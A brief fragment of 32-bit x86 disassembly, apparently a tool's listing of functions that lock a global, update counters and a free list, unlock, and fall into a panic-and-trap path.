call fcn.004215c0
lea eax, [0x7641d4]
mov dword [esp], eax
call fcn.0040c550
lea eax, [0x7641b0]
test byte [eax], al
mov eax, dword [0x7641c8]
mov ecx, dword [0x7641b0]
sub eax, ecx
mov dword [0x7641c8], eax
mov eax, dword [0x7641bc]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x7641bc], ecx
lea eax, [0x7641d4]
mov dword [esp], eax
call fcn.0040c720
add esp, 0x14
ret
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov ebp, dword [eax + 0x14]
mov dword [esp + 0x10], ebp
mov ebp, dword [esp + 0x1c]
mov dword [esp], ebp
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ebx
call fcn.00412350
lea eax, [0x7641d4]
mov dword [esp], eax
call fcn.0040c550
lea eax, [0x76418c]
test byte [eax], al
mov eax, dword [0x7641a4]
mov ecx, dword [0x76418c]
sub eax, ecx
mov dword [0x7641a4], eax
mov eax, dword [0x764198]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x764198], ecx
lea eax, [0x7641d4]
mov dword [esp], eax
call fcn.0040c720
jmp 0x4209dc
lea eax, [0x62bc53]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call fcn.00427200
ud2
call fcn.0044a6e0
jmp fcn.00420950